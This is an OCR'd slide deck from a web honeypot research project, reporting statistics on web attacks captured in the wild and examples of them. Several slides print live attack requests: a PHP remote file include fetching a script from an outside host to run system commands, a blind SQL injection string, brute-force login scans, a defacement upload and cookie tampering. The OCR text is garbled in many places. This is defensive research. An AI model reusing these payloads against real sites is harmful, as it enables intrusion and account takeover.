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WHAT ARE WE REPORTING?

°* WE ARE PRESENTING REAL, LIVE WEB ATTACK
DATA CAPTURED “IN-THE-WILD.”
— NONE OF THE ATTACK DATA IS SIMULATED OR
CREATED IN LABS
® THE DATA IS TAKEN DIRECTLY FROM THE
WASC DISTRIBUTED OPEN PROXY
HONEYPOT PROJECT

— DATA IS IDENTIFIED BY MODSECURITY HONEYPOT
SENSORS
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* TO sUPPORT WEB ATTACK METRICS BY
PROVIDING CONCRETE EXAMPLES OF THE TYPES

OF WEB ATTACKS THAT ARE BEING CARRIED OUT
ON THE WEB

®* TO RAISE PUBLIC AWARENESS ABOUT REAL
ATTACKS

* OFTENTIMES THERE ARE DEBATES AS TO THE
“REAL” THREAT OF COMPLEX ATTACKS THAT
ARE PRESENTED TGO THE COMMUNITY BY
WHITEHATS

— ARE THESE REALLY THE ATTACKS THAT ARE BEING
USED TO COMPROMISE SITES?

Security Consortium

TET01 1OT01G10106100100770- " ‘—/j Web Application



WASC DISTRIBUTED OPEN PROXY HONEYPOT PRD.LH

* GOAL — TO IDENTIFY/BLOCK/REPORT ON CURRENT WEB
ATTACKS.

* METHOD — INSTEAD OF FUNCTIONING AS THE “TARGET” OF
WEB ATTACKS, WE INSTEAD RUN AS A CONDUIT FOR THE

ATTACKS BY RUNNING AS AN OPEN PROXY SERVER.
ATTACKERS USE OPEN PROXY SERVERS TO HELP HIDE

THEIR TRUE ORIGIN.

® TooLs USED — MODSECURITY 2.X, CORE RULES AND THE

MODSECURITY CONSOLE.

° PROJECT WEBSITE —
HTTP.:// WWW.WEBAPPSEC/ORG/PROJECTS/HONEYPOTS/
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ACTIVE PROJECT SENSORS

* WE HAD A TOTAL OF 77 ACTIVE SENSOR PARTICIPANTS
IN THE FOLLOWING GEOGRAPHIC LOCATIONS
— Moscow, Russia
— CRETE, GREECE
— KARLSRUHE, GERMANY
— SAN FRANCISCO, CA USA
— NORFOLK, VA USA
— FALLS CHURCH, VA USA
— FOLEY, AL USA

* MORE SENSORS ARE SET TO COME ONLINE SOON

* WE ARE ALWAYS LOOKING FOR MORE PARTICIPANTS!
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PROJECT ARCHITECTURE

Russia

Greece

WASC Analyst
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How WE RESPOND TO ATTACKS

1. Malicious Request is sent to the
Honeypot Proxy with a destination
of the target/victim website

ModSecurity Honypo1 Sensor

3. returns an HTTP Status code of 200. This oftentimes
fools attacker tools into thinking the attack was successful.

Target/Victim Website

LR LEED)

2. ModSecurity identifies the attack
and responds by NOT forwarding it
onto the destination host.

4. Sensor sends alert log
details to the central Console

ModSecurity Console Host

Security Consortium
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MODSECURITY CONSOLE ALERT |NTERFAB-'L_~

@; ModSecurity Console BREACH

Home Alerts Sensors  Transactions Reports  Administration  About Seftings

HTTP Transaction Search results

[ Delete Transactions ]

[] TxID  Sensor Date/Time  Source [P Hostname / Method / URI Duration ~ Status  Severity
2007-01-18 HOSTNAME: hep-web.net METHOD: POST URI: hitp://hep-web.net/dragons/n_bbs/bbs.cgi .
O ol dedcounet gy 022IB1D g System Command Injection. Matched signature </nc-> Gmsee 20 @ AT

2007-01-18 HOSTHAME: netven.net METHOD: POST URI
[] 68279 dc.dc.coxnet Iy 206512382 hifp:/inetven net/cp/scripts/PHP/guestbook/guestbook php 2 msec 200 9 CRIT (2)
o © system Command Injection. Matched signature <nc->

2007-01-18 )STNAME: k-b-0.com  METHO “Ilk-D-0. Lgi
O 645 dodccomnet 66,93 105,19 HOSTNAME: k-b-0.com METHOD: POST  LRI: http://k-b-0.com/cafe/apeboard_plus.cgi

53 200 CRIT (2)
00:23:18 e System Command Injection. Matched signature </nc-= msee 9 .

101001010110~
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HIGH-LEVEL STATISTICS

* TOTAL NUMBER OF REQUESTS — 969581

— THIS IS THE NUMBER OF INDIVIDUAL TRANSACTION ENTRIES
THAT WE RECEIVED

® TOTAL NUMBER OF ALERTS — 170984

— THIS IS THE NUMBER OF TRANSACTIONS THAT TRIGGERED AN
ALERT FROM ONE OF OUR PROTECTION RULESETS

®* TOTAL UNIQUE CLIENTS — 1161

— THIS IS THE NUMBER OF REMOTE IP ADDRESSES THAT
DIRECTLY CONNECTED TO OUR HONEYPOTS

® TOTAL NUMBER OF CLIENTS LOOPING THROUGH OTHER
PROXY SERVERS — 8264

— THIS IS THE NUMBER OF UNIQUE IP ADDRESSES THAT WERE
IDENTIFIED IN X-FORWARDED-FOR REQUEST HEADERS

®* TOTAL UNIQUE TARGETS — 69162

— THIS IS THE TOTAL NUMBER OF DESTINATION WEBSITES
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TOP 5 TRENDS

®* INFORMATION LEAKAGE IS A HUGE PROBLEM

— MOST WEBSITES ARE CONFIGURED TO PROVIDE VERBOSE
ERROR MESSAGES TO CLIENTS

* THE MAJORITY OF WEB ATTACKS ARE AUTOMATED

— THIS INCREASES THE NEED FOR ANTIFAUTOMATION DEFENSES
* ATTACKERS ARE LOOKING FOR EASY TARGETS

— PICK A VULNERABILITY -> FIND A SITE

— INSTEAD OF PICK A SITE -> FIND A VULNERABILITY
* BASIC WEB APPLICATION SECURITY FILTER (SUCH AS

WITH MODSECURITY) CAN BLOCK THE MAJORITY OF
ATTACK NOISE

¢* CORRELATION OF EVENT DATA AND FULL AUDIT
LOGGING FOR FORENSICS IS ESSENTIAL
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TOP 5 MODSECURITY ATTACK BATEGDIJ-!
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CoORE RULE MESSAGE DATA

ATTACKS IDENTIFIED BY THE CORE RULEJ._.E

(# OF REQUESTS)

REQUEST MISSING A USER AGENT HEADER
REQUEST MISSING A HOST HEADER

REQUEST MISSING AN AGCCEPT HEADER

HOST HEADER IS A NUMERIC |IP ADDRESS
AUTOMATED PROGRAM EXPLORED THE SITE
UTF8 ENCODING ABUSE ATTACK ATTEMPT
URL FILE EXTENSION IS RESTRICTED BY POLICY
CROSS-SITE SCRIPTING (X55) ATTACK

URL ENCODING ABUSE ATTACK ATTEMPT

1S INFORMATION LEAKAGE

(62981)
(36407)
(28299)
(13203)
(11025)
(2759)
(1814)
(17177)
(1133)
(618)
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CORE RULE MESSAGE DATA

ATTACKS IDENTIFIED BY THE CORE RULEJ._.E

(# OF REQUESTS)

SYstTem COMMAND INJECTION

PHP SOURCE CODE LEAKAGE

CONTENT ENCODING IS NOT ALLOWED
YAHOO ROBOT ACTIVITY

THE APPLICATION IS NOT AVAILABLE
METHOD IS NOT ALLOWED BY POLICY
HTTP PROTOCOL VERSION NOT ALLOWED
ASP/JdSP SOURCE CODE LEAKAGE
GOOGLE ROBOT ACTIVITY

BLIND SQL INJUECTION ATTACK

4

(505)
(480)
(291)
(214)
(133)
(69)
(50)
(42)
(30)
(12)
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WASC THREAT ClaSSficAT ORI

WE IDENTIFIED ATTACKS IN THE FOLLOWING TC CATEGORIES:
1T AUTHENTICATION
1.1 BRUTE FORCE
1.2 INSUFFICIENT AUTHENTICATION
2 AUTHORIZATION
2.1 CREDENTIAL/SESSION PREDICTION
2.2 INSUFFICIENT AUTHORIZATION
2.3 INSUFFICIENT SESSION EXPIRATION
2.4 SESSION FIXATION
3 CLIENT-SIDE ATTACKS
3.2 CROSS-SITE SCRIPTING
4 COMMAND EXECUTION
4.4 0OS COMMANDING
4.5 SEL INJECTION
4.6 SSI| INJECTION
5 INFORMATION DISCLOSURE
5.2 INFORMATION LEAKAGE
5.3 PATH TRAVERSAL
6 LOGICAL ATTACKS
6.1 ABUSE OF FUNCTIONALITY
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BRUTE FORCE

* A BRUTE FORCE ATTACK |15 AN AUTOMATED
PROCESS OF TRIAL AND ERROR USED TO
GUESS A PERSON'S USERNAME, PAS5S5WORD,

CREDIT-CARD NUMBER OR CRYPTOGRAFRPHIC
KEY.

* WE IDENTIFIED THE FOLLOWING ATTACKS:
— HEAD METHOD SCANNING
— GET METHOD LOGINS SCANNING

— POST METHODS LOGINS (FORM-BASED AUTH)
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HEAD REQUEST METHOD SBANNlNd;h 2y

°* REQUEST IS USING HEAD TO INCREASE THE SPEED OF RESPONSES
(AS THE WEB SERVER DOES NOT HAVE TO SEND BACK THE
RESPONSE BODY).

® THE REQUEST INCLUDES THE AUTHORIZATION HEADER WITH THE
BASE64 ENCODED CREDENTIALS

® GOAL IS TO LOOK FOR AN HTTP RESPONSE STATUS CODE OF
SOMETHING OTHER THAN 401 (MOST OFTEN A 200 or 302)

HEAD http://members.somesite.com/ HTTP/1.1

Host: members.somesite.com

Referer: http://members.somesite.com

User-Agent: Mozilla/5.0 ( Windows; U; Windows NT5.0; FireFox )
Accept: text/html, image/jpeg, image/gif,text/xml,text/plain,*/*
Accept-Language: en-us,en;q=0.5

Accept-Charset: utf-8,*;q=0.7

Authorization: Basic YnJIbnQ3NTpOYWNvcw==

Connection: keep-alive

‘_—G Weh r‘.ppli{:atiun.h
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GET METHOD LOGINS

®* THIS AUTHENTICATION METHOD PASSES USER CREDENTIALS ON THE URL
LINE AS ARGUMENTS INSTEAD OF USING AUTHORIZATION OR COOKIE
HEADERS.

® THIS TYPE OF AUTHENTICATION IS CONSIDERED NOT AS SECURE AS THE
LOGIN DATA CAN BE EASILY CAPTURED IN STANDARD LOG FILE FORMATS
(THUS INCREASING DISCLOSURE)

d REVERSE BRUTE FORCE SCAN

— THE ATTACKER IS CYCLING THROUGH DIFFERENT USERNAMES AND THEN
REPEATING THE SAME TARGET PASSWORD OF “PSycHO”

GET http://login.yahoo.com/config/login?._done=http://smallbusiness.yahoo.com/
services/index.php&.src=sbs&login=__sala &passwd=psycho HTTP/1.0

GET http://217.12.8.237/config/login?._done=http://smallbusiness.yahoo.com/
services/index.phpé&.src=sbs&login=tki__ &passwd=psycho HTTP/1.0

GET http://202.43.196.46/config/login?._.done=http://smallbusiness.yahoo.com/
services/index.php&.src=sbs&login=zozo &passwd=psycho HTTP/1.0

GET http://wl6.edit.tpe.yahoo.com/config/login?_done=http://smallbusiness.
yahoo.com/services/index.php&.src=sbs&login=_plue&passwd=psycho HTTP/1.0

‘_—G Weh r‘.ppli{:atiun.h
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DISTRIBUTING THE SCANNING

® THE ATTACKER IS DISTRIBUTING THE SCAN
ACROSS MULTIPLE YAHODO DOMAINS

® THIS MANY HELP TO REDUCE THE LIKELYHOOD
OF IDENTIFICATION OF THE ATTACKS AND/OR
MANY NOT CAUSE ACCOUNT LOCKOUTS

GET http://login.yahoo.com/config/login?._done=http://smallbusiness.yahoo.com/
services/index.php&.src=sbs&login=__sala &passwd=psycho HTTP/1.0

GET http://217.12.8.237/config/login?._done=http://smallbusiness.yahoo.com/
services/index.phpé&.src=sbs&login=tki__ &passwd=psycho HTTP/1.0

GET http://202.43.196.46/config/login?._.done=http://smallbusiness.yahoo.com/
services/index.php&.src=sbs&login=zozo_ &passwd=psycho HTTP/1.0

GET http://wl6.edit.tpe.yahoo.com/config/login?._done=http://smallbusiness.
yahoo.com/services/index.php&.src=sbs&login=_plue&passwd=psycho HTTP/1.0

‘_—3 Weh r‘.ppli{:atim; -
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...login= sala &passwd=psycho HTTP/1.0
...login=tki &passwd=psycho HTTE/1.0
..-.login=zozo &passwd=psycho HTTP/1.0
...login=ski &passwd=psycho HTTP/1.0

ModSecurity Honeypot Sensor

202.43.196.70 217128237 211.115.101.89 W16.edit.tpe.yahoo.com

‘-_/_3 Web Application

Security Consortium




INSUFFICIENT AUTHENTICATION

® INSUFFICIENT AUTHENTICATION OCCURS WHEN A
WEEB SITE PERMITS AN ATTACKER TO ACCESS
SENSITIVE CONTENT OR FUNCTIONALITY WITHOUT
HAVING TO PROPERLY AUTHENTICATE.

* EXAMPLE: ACESSING AN “ADMIN” FUNCTION BY
PASSING THE USERNAME IN THE URL. CLIENTS DO
NOT NEED T0O LOGIN OR SUBMIT AUTHORIZATION
COOKIES

POST http://www.somesite.com/bbs/book add.asp?username=admin HTTP/1.1

User-Agent: User-Agent: MozillaZ4.0 (compatible; MSIE 6.0; Windows NT
5.1)

Host: www.somesite.com
—-CUT--
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CREDENTIAL/SESS/ION PREDICTION IS A METHOD OF
HIJACKING OR IMPERSONATING A WEEB SITE USER.

* CoMMON ATTACKS SEQUENCE I1S:

1.ATTACKER CONNECTS TO THE WEB APPLICATION ACRUIRING
THE CURRENT SESSION ID.

2.ATTACKER CALCULATES OR BRUTE FORCES THE NEXT
SESSION ID.

3.ATTACKER SWITCHES THE CURRENT VALUE IN THE

COOKIE/HIDDEN FORM- FIELD/URL AND ASSUMES THE
IDENTITY OF THE NEXT USER.

Web Application
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NO ENCRYPTION/CLEAR-TEXT COOKIE E)/\14Lp

®* THESE ARE EXAMPLES OF SESSION/COOKIE DATA
SENT FROM APPLICATIONS TO CLIENTS.

®* SINCE THERE IS NOT ENCRYPTION OR HASHING OF
DATA, ATTACKERS CAN EASILY ALTER THE DATA
(SUCH AS INCREMENTING/DECREMENTING THE

DIGITS) TO ATTEMPT TO TAKE OVER ANOTHER USERS
SESSION

Set-Cookie: guestlD=413;

Set-Cookie: sessionid=1037236911;

Set-Cookie: CurrentSessionCookie=212035755652;
Set-Cookie: CFID=3937042;expires=Thu,

Set-Cookie: Referer=/gate/gbh/www.site.gov.mo/;Path=/
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INSUFFICIENT ENTROPY

®* THESE COOKIE VALUES ARE NOT RANDOM
ENOUGH TO PREVENT GUESSING ATTACKS

®* THE FIRST 9 DIGITS ARE THE SAME WITH

ONLY THE LAST 3 INCREMENTING ALMOST
SEQUENTIALLY

Set-Cookie: CurrentSessionCookie=212035755652;
Set-Cookie: CurrentSessionCookie=212035755660;
Set-Cookie: CurrentSessionCookie=212035755669;
Set-Cookie: CurrentSessionCookie=212035755700;

1107090109 0100901019101

LA 370 - ‘-——G Weh Application
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INSUFFICIENT ENCRYPTION

®* UNFORTUNATELY, SENSITIVE DATA IS OFTEN PASSED
WITHIN THE COOKIE HEADER DATA AND IT IS NOT
SUFFICIENTLY PROTECTED WITH STRONG ENCRYPTION

* FAKE OR WEAK PROTECTION IS OFTEN USED, SUCH AS
BASE64 ENCODING

— BASE64 ENCODED

Set-Cookie:

cpgl32 data=YTozOntzOjI6IKIEI JtzOgMyO1 IOYTAAYTQWNNIZJM
2ZTc2NJAWMJE2NDRKMDE3NjdjZi 1 7czoyO1JhbS17aToxO3M6NDo1bm
FtZS17czo001JBbmOul jt9

— BASED64 DECODED

Set-Cookie:
cpgl32 data=a:3:{s:2:"ID";s:32:"4a08a4063bt36e766002164
4d01767cf";s:2:"am";1:1;s:4:"name" ;s:4:"Anon";}

1107090109 0100901019101
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INSUFFICIENT AUTHORIZATION

® INSUFFICIENT AUTHORIZATION IS WHEN A WEB SITE
PERMITS ACCESS TO SENSITIVE CONTENT OR
FUNCTIONALITY THAT SHOULD REQUIRE INCREASED
ACCESS CONTROL RESTRICTIONS.

* THE COOKIE IN THE PREVIOUS EXAMPLE CONTAINED A
VALID SESSIONID HASH AND THEN A USERNAME,
HOWEVER POORLY WRITTEN APPLICATIONS OFTEN DO
NOT MAKE A CONNECTION BETWEEN THE VALID
SESSIONID AND THE USERNAME

* WHAT HAPPENS IF AN ATTACKER ALTERS PORTIONS OF
THE COOKIE VALUE AND CHANGES THE USERNAME?

Set-Cookie:
cpgl32 data=a:3:{s:2:"ID";s:32:"4a08a4063bt36e766002164

4d01767cf";s:2:"am";1:1;s:4:""name" ;s:5:"Admin"; }

‘_—G Weh r‘.ppli{:atiun.h
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INSUFFICIENT AUTHORIZATION: WEB E)EJEAI:EBAEHQ*!E_

* HTTP PUT METHOD

--6aa02cl4-B--

PUT http://www.site.com/scorpion.txt HTTP/1.0
Accept-Language: pt-br, en-us;q=0.5
Translate: T

Content-Length: 36

User-Agent: Microsoft Data Access Internet Publishing Provider
DAV 1.1

Host: www.site.com
Pragma: no -cache

--6aa02cl1l4-C--
1923Turk CyberscorpioN ownz your box
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INSUFFICIENT AUTHORIZATION: WEB E)EJEAI:EBAEHQJ!E_

* ATTEMPTING TO UPLOAD A FILE THROUGH SHAREPOINT

POST http://www.site.com/_vti_bin/_vti_aut/author.dlil HTTP/1.1
MIME-Version: 1.0

User-Agent: core-project/1.0

Host: www.site.com

Content-Length: 194

Content-Type: application/x-vermeer-urlencoded

Connection: close

--40011b0Oe-C--

method=put+document%3ad%2e0%2e2%2e4715&service%5fname=&documen
t=%5bdocument%5ftname%3dcore%2ehtml%3bmeta%5finTo%3d%5b%5d%5d&p
uthS5foption=overwrite&comment=&keeph5fchecked%5fout=false

core-project
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.

INSUFFICIENT SESSION EE)(F’IFLACTIEJP@lT. .

® INSUFFICIENT SES5I0N EXPIRATION IS WHEN A WEREB
SITE PERMITS AN ATTACKER TO REUSE OLD SESS/ION
CREDENTIALS OR SESSION IDS FOR AUTHORIZATION.

®* NO EXPIRATION DATE/TIME SPECIFIED

Set-Cookie:
phpbb2mysgl si1d=9ff3b118fbbt63e088c99d09d810e311;
path=/; domain=d M Y, G.1

®* EXPIRATION DATE/TIME IS TOO LONG

Set-Cookie: cpvr=3cc2dl13f-1b27-4cll1-a277-
b3cb77b¥33e3; domain=somesite.com; expires=Sun, 16-
Jan-2107 12:27:36 GMT; path=/

Security Consortium
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IT IS ALSO IMPORTANT TO NOTE THAT PROPER
SESSION EXPIRATION MEANS EXPIRING,
INVALIDATING OR DELETING THE SESSIONID IN
BOTH THE WEB BROWSER AND THE WEB

APPLICATION

POORLY WRITTEN WEB APPLICATIONS ONLY ATTEMPT
T0O0 EXPIRE OR DELETE THE COOKIE FROM THE WEB
BROWSER

REMEMBER — YOU DO NOT OWN THE BROWSER!

THESE COOKIES CAN POTENTIALLY BE SENT BACK TO
THE WEB APPLICATION

WILL THEY LET THE USER BACK IN?77

‘___G Web Application
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OTHER COOKIE ISSUES

* MINIMAL USE OF “HTTPONLY” AND “SECURE”
COOKIE PROTECTIONS
— MOST WEB APPLICATIONS DID NOT USE EITHER OF THESE
FEATURES
®* HTTPONLY HELPS TO PREVENT COOKIES FROM BEING
READ BY CLIENT-SIDE SCRIPTING

Set-Cookie:
bbsessionhash=td9145t449c2e67223b10f7623ea9231;

path=/; HttpOnly
® SECURE WILL ENSURE THAT THE COOKIE IS ONLY

SENT TO AN SSL-ENABLED SITE

Set-Cookie: phpbb2mysqgl data=a%3A0%3A%7B%7D;
expires=Wed, 16-Jan-2008 19:59:57 GMT; path=/; secure

Security Consortium
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SESSION FIXATION

®* S5ESSI0ON FIXATION IS AN ATTACK TECHNIQUE THAT
FORCES A USER'S SESSION ID TO AN EXPLICIT

VALUE.

* WHILE WE DID NOT SEE DIRECT EVIDENCE OF
SESSION FIXATION, WE DID SEE WEB APPLICATIONS
THAT ALLOWED SESSIONID INFORMATION TO BE
PASSED ON THE URL, WHICH MAKES A SESSION
FIXATION ATTACK EASIER TO EXECUTE BY INCLUDING
THESE WEB LINKS WITHIN EMAILS SENT TO TARGET
VICTIMS

POST http://somesite.com/joinSubmitAction.do;
Jsessionid=DF4B9604ED1467DFECD4BDA7452E23D9 HTTP/1.1

POST http://www.somesite.com/gallery/./details.php?
Image 1d=114&amp;sessionid=6d0e2a51c515cb5b877bae03972a

Oa78 HTTP/1.1
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CROSS-SITE SCRIPTING

®* LROSS-SITE SCRIPTING (X55) IS AN ATTACK
TECHNIGQUE THAT FORCES A WEB SITE TO ECHO
ATTACKER-SUPPLIED EXECUTABLE CODE, WHIGCH
LOADS IN A USER'S BROWSER.

* ALL XSS ALERT MESSAGES WERE TRIGGERED BY
SPAMMERS SENDING THEIR HTML POSTS TO
VARIOUS MESSAGE BOARDS

®* THIS EXAMPLE WAS A FALSE POSITIVE CAUSED BY
BAD HTML LINKS

GET http://search.revenuepilot.com/serviet/1ink?11nk=20180H4s1AAAAAAA

AAGNgKyow1DNNsT BAAOMEMpAD14i1UJRalppXmlqQmZNfopecnwtXyebk60fnGsSAChgF
FgcntdieOXOWgbk iNATBNKOkpKDYSI-_ODW5tChVD904 aziAv2M_NxUPSDDPjJPF1tDI2

NACahjcZVCXAgCT6CRSsgAAAA. - "%20onmouseover= HTTP/1.0

‘_—3 Weh r‘.ppli{:atim; -
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0S COMMANDING

* 05 LCOMMANDING |15 AN ATTACK TECHNIQUE USED
TO EXPLOIT WEB SITES BY EXECUTING OPERATING
SYSTEM COMMANDS THROUGH MANIPULATION OF
APPLICATION INPUT

* EXAMPLE: THIS IS A PHP REMOTE FILE INCLUDE
ATTEMPTING TO EXECUTE, ID, LS AND W COMMANDS

GET http://www.site.com/index.php?pagina=http://www.hackersite.org/
surveyor/lang/xpl/prol8.txt?&cmd=i1d; 1s%20/;w HTTP/1.1

TE: deflate,gzip;qg=0.3

Connection: TE, close

Host: www.site.com

User-Agent: 1ibwww-perl/5.805

‘___G Web Application
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(BLIND) SQL INJECTION

d SLL INUECTION IS5 AN ATTACK TECHNIGQUE USED TO EXPLOIT WEEB SITES
THAT CONSTRUCT 5L STATEMENTS FROM USER-SUPPLIED INPUT.

hd HERE IS AN EXAMPLE OF A REAL BLIND SOL INJECTION ATTACK THAT
WAS ATTEMPTING TO EXTRACT OUT THE NAME OF THE DATABASE ONE
CHARACTER AT A TIME

¢ NOTICE THAT THE ATTACK IS ATTEMPTING TO PREVENT THIS S L QUERY
FROM BEING LOGGED BY THE BACK-END DB SERVER BY APPENDING THE
““SP_PASSWDRD” ARGUMENT

GET http://www.site.com/cart/loginexecute.asp?LoginEmail="%20

or%201=convert(int, (select%20top%201%20convert(varchar ,name)¥%
20From%20sysobjects%20where%20xtype="u"%20order%20by%20name%2
0))--sp password HTTP/1.1

Accept: i1mage/gif, image/x-xbitmap, image/jpeg, image/pjpeg,>/*
User-Agent: Microsoft URL Control - 6.00.8169

Host: www.site.com

Connection: Keep-Alive

Cache-Control: no-cache

‘_—3 Weh r‘.ppli{:atim; -
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SSI| INJECTION

* 55/ INJVECTION (SERVER-SIDE INCLUDE) IS5 A
SERVER-SIDE EXPLOIT TECHNIGQUE THAT ALLOWS AN
ATTACKER TO SEND CODE INTO A WEB APPLICATION,
WHICH WILL LATER BE EXECUTED LOCALLY BY THE
WEB SERVER.

° SPAMMERS SeENT POST DATA THAT INCLUDED
SOME SS| COMMANDS

date=<!--#echo var=&name=Veloplivw&email=HristosMertu63r@
gmail .com&message=Hi this i1s a very informative sitel:
[URL=http://www.yasp.ch/gb.asp?user=al lambien]ambien[/URL]

——CUT--
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INFORMATION LEAKAGE

® INFORMATION LEAKAGE IS WHEN A WEEB SITE
REVEALS SENSITIVE DATA, SUCH AS5 DEVELOPER
COMMENTS OR ERROR MES55AGES, WHICH MAY AlID
AN ATTACKER IN EXPLOITING THE SYSTEM.

Server Error in /' Application.

SQL Server does not exist or access denied.

Description: An unhandied exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code
Exception Details: System Data SqiClient SqlException: SOL Server does not exist or access denied

Source Error:

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of
the exception can be identified using the exception stack trace below.

Stack Trace:

[sqlexception: SQL Server does not exist or access denied.] : :
System.Data.sqlClient.ConnectionPool.GetConnection(Boolean& isInTransaction) +472 . . .
System.Data.SqlClient.5qlConnectionPoolManager.GetPooledConnection(SqlConnectionString options, Boolean& isInTransaction) +372
System.Data.SqlClient. sqlConnection.Open() +386
optCorp.Globall.Application_Error(Object sender, Eventnrgs e)

System.EventHandler.Invoke(Object sender, EventArgs e) +
System.Web.HttpApplication.RaiseOnError() +157

Version Information: Microsoft NET Framework Version:1.1.4322 2300, ASP NET Version:1.1.4322 2300

AANn1010440
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ABUSE OF FUNCTIONALITY

ABUSE OF FUNCTIONALITY IS AN ATTACK TECHNIGQUE THAT USES
A WEB SITE'S OWN FEATURES AND FUNCTIONALITY TO CONSUME,
DEFRAUD, OR CIRCUMVENTS ACCESS CONTROLS MECHANISMS.
BANNER-AD/CLICK FRAUD

THERE WAS A LARGE AMOUNT OF AUTOMATED TRAFFIC THAT WAS

ATTEMPTING TO ACCESS BANNER-ADS IN ORDER TO INCREASE
REVENUE FOR AN AFFILIATE

PROXY SERVERS WERE USED TO HELP DISGUISE THE TRUE ORIGIN OF
THE TRAFFIC — WHICH WAS MOST LIKELY THE AFFILIATE THEMSELVES

GET http://ad.doubleclick.net/clk;56074714;14719870;
o?http://ad.doubleclick.net/clk;56074655;14719909;

v?http://www.somesitesignup.com/signup/index. Jsp?pc=SSU3
333 HTTP/1.0
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GCOOGLE-ABUSES

* BANNER FRAUD USING GOOGLE AS A
PROXY/REDIRECTOR

GET
http://tmsyn.wc.ask.com/r?t=an&s=1e&uid=2d1d5c7l1ledld5c71le&si
d=3d1d5c71edl1d5c71e&0=10581&q1d=A20F04AB708BF248DE7EF794997F
F36C&10=9&sv=0a30057a&ask=Broadband&uip=dld5c7le&en=gg&eo=1&
pt=Broadband&ac=7&gs=0&pg=1&sgcl=cTt6cNb-ySusZMt6-
OF&sgch=5d0cLqg_79y&u=http://www.google.com/url?sa=L&ai1=BVHBs
413KRZTTM5ykpQKg9v JHDMVvB5XS7p T TAY 1VAWSAphOQChgK10OmToAMoCjgB
Ulbu64r6 wFgyQaYAedzmAHYyhgGYATYGAZgBuJ 1 GmAG7kgaYAb-
SBgoBBmMRpXzEWML IBCGIJUbXEUY29tyAEB2gE1Ym5tcS53b23 1AuvwvwE&NUM
=10&ggladgrp=248735307&gglcreat=358376127&q=http://ad.double
click.net/clk%3B52309101%3B14013708%3Bo%3Fhttp://solutions.v
zwshop.com/bba/Z&usg=_ mjX95GyHsTv7Y2bHtolZgoi1GAgU= HTTP/1.0

010101 101010401 04001010110 ¢
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GCOOGLE-ABUSES

* GOOGLE-HACKING

— SPAMMERS WERE USING GOOGLE TO SEARCH
FOR USER FORUMS, BULLETIN BOARDS, ETOC... TO
POST THEIR EMAILS

GET http://www.google.com/1e?as_g=Certner+inurl:ultimate+
guestbook&num=100&hl=en HTTP/1.0

GET http://www.google.com/ie?as_g=i1nurl:phpBB+intext:index.
php+related&num=100&hl=en HTTP/1.0

GET http://www.google.com/i1e?as _qg=i1nurl:viewtopic.php+
site:vg&num=100&hl=en HTTP/1.0

1107090109 0100901019101
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LESSONS LEARNED

®* WEB ATTACKS ARE RUNNING RAMPANT

¢* ATTACKERS ARE EXTREMELY BOLD, MAINLY DUE TO THEIR
ANONYMITY BY HIDING BEHIND NUMEROUS OPEN PROXY SERVERS

* FALSE POSITIVES WERE HIGH IN SOME CLASSES OF ATTACKS,
HOWEVER THAT WAS MAINLY DUE TO OPEN PROXY DEPLOYMENT
AND wOuLD NOT MANIFEST ITSELF IN NORMAL PRODUCTION
ENVIRONMENTS

®* AS GOOD AS THE IDENTIFICATION/PROTECTION RULES WERE, WE
STILL HAD ANALYSIS CHALLENGES DUE TO DATA OVERLOAD
— WE NEED BETTER/AUTOMATED WAYS TO CATEGORIZE ATTACKS

— EVEN S0, SOME ACTIVITIES ARE DIFFICULT TO IDENTIFY BY LOOKING AT
JUST ONE TRANSACTION

— WE NEED TO HAVE BETTER CORRELATION CAPABILITIES TO IDENTIFY
ANOMALIES AND TRENDS OVER TIME

®* WE STILL HAVE A LOT TO LEARN

® |IF YOU wOULD LIKE TO CONTRIBUTE TO THIS PROJECT, PLEASE
CONTACT RYAN BARNETT — RBBARNETT@GMAIL.BDM

1011707090109 010090101101
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